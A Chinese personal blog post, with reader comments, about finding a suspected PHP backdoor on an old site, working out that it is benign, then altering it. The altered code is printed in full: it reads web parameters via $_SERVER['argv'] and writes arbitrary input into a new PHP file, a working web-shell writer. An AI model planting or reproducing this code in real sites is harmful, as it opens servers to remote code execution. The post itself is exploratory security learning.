我在博客代码中发现“木马”是怎么处理的

生活日志 · 昨天 · 317 人浏览

AI摘要

作者在旧博客中发现可疑的tools文件夹和php文件,初步怀疑是木马后门。通过代码分析,发现代码主要用于解析命令行参数和处理文件内容,并无直接恶意行为。但在开启php的register_argc_argv后,代码能接收web路径参数,构建payload,从而变成恶意代码。最终,作者确认原代码非木马,但自己改动后的代码被检测为恶意。

此内容根据文章生成,不代表个人观点,仅用于文章内容的解释与总结

我的旧博客是通过宝塔部署的,一直没更新没维护,只是打算做个“纪念吉祥物”放在那。昨天闲逛时发现博客站点根目录有一个tools文件夹,关键我一点印象都没有。点进去一看里面的文件更加让我陌生。里面还夹杂有php文件。我的第一反应是不好,被“种马”了。

image.png

打开其中的tc.php一看,有参数接收处理,还有写入文件方法file_put_contents这让我更加确信这可能是一个木马后门了。

image.png

不过,我的第一反应不是立即删除,而是打算搞清楚这个“木马”是如何利用的?想着如果能搞清楚这个原理,或许能够为我所用。当然...我指定所用是研究学习用,不是搞破坏哈,哈..哈哈...

原理解析

    通过对代码的解析和了解,代码主要作用是用于解析命令行参数、处理文件内容,并将修改后的内容保存到指定输出文件中。代码本身并没有直接显示恶意行为纳尼?搞错了?我试图构建payload,看代码能否接收到参数并运行。发现无论怎么构建都卡在'no args'这一步。了解后发现$argv接收的命令参数,根本接收不了web访问参数。再结合php_strip_whitespace和preg_replace方法,基本杜绝了写入恶意代码的可能。

秉着绝对不意气用事;绝对不漏判任何一件坏事求证思想,我将代码通过阿里云线上webshell检测后确认了该代码确实不是“木马”。但是...我又又发现了一个新的大陆,让额精神一振。开启php的register_argc_argv之后,通过$argv = $_SERVER['argv'];就能接收到web路径参数了。

真假"木马"

基于register_argc_argv开启的情况下,就能构建payload了,页面能接收到参数。只不过会卡在php_strip_whitespace和preg_replace上。于是,再稍微改动一下。变成如下代码:

<?php
$argv = $_SERVER['argv'];
if (!isset($argv[1])) {
    echo 'no args';
    exit(1);
}
var_dump($argv);
/** 解析所有的参数 */
parse_str($argv[1], $options);
/** 必要参数检测 */
if (!isset($options['in']) || !isset($options['out'])) {
    echo 'no input or output file';
    exit(1);
}

$str = $options['in'];

echo $str;
if (file_exists($options['out'])) {
    $str = file_get_contents($options['out']) . $str;
} else {
    $str = '<?php ' . $str;
}

file_put_contents($options['out'], $str);

保存之后,经过阿里云webshell测试,不出所料的“恶意”代码。阿里云也直接开始短信推送安全警告,发现木马后门。仔细回顾一下,发现这段木马有点太过明显,有点画蛇添足了。无法为我所用。正常情况下,register_argc_argv都是默认关闭的。实际上这段代码它本身并不是恶意代码,但是经我一番“栽赃陷害”才变成了恶意代码。

好吧,最终的结果是:我发现了“假木马”,但是写出了“真木马”!


web安全
验证码:
  1. Vei 昨天

    原来是没有木马,自己写了一个木马。

  2. immortal 昨天

    一般脚本类的我都不太敢用

    1. 流情 (作者)  昨天
      @immortal

      脚本型语言用了就会真香定律╮(╯▽╰)╭

  3. 卟言 昨天

    没有办法脚本型都这样子,比如像asp都这种样子,用像java,go这种编译的就没什么问题上传了也跑不起来,不过还好了我博客都自己写的多了什么玩意都知道,并且我监控后端全部的异常请求邮件通知,然后我根本就没有开发一个上传接口,上传文件都是ssh上传的,页面基本上都是静态的

    1. 流情 (作者)  昨天
      @卟言

      php脚本型语言上手快啊,比java简单

  4. 沉沦 昨天

    原来是处理成了木马,厉害

  5. 刘郎 昨天

    基于PHP代码编写的项目 简单而实用 个人感觉

    1. 流情 (作者)  昨天
      @刘郎

      确实,php是世界上最好的语言。哈哈( ๑´•ω•) "(ㆆᴗㆆ)

  6. 小彦 昨天

    哈哈,php就是这样,用漏洞上传个 php文件就可以为所欲为了,java没这样的机制,上传木马不行的

    1. 流情 (作者)  昨天
      @小彦

      脚本型语言就是这样,但是耐不住好用啊

Theme: Jasmine | RSS订阅 | 网站地图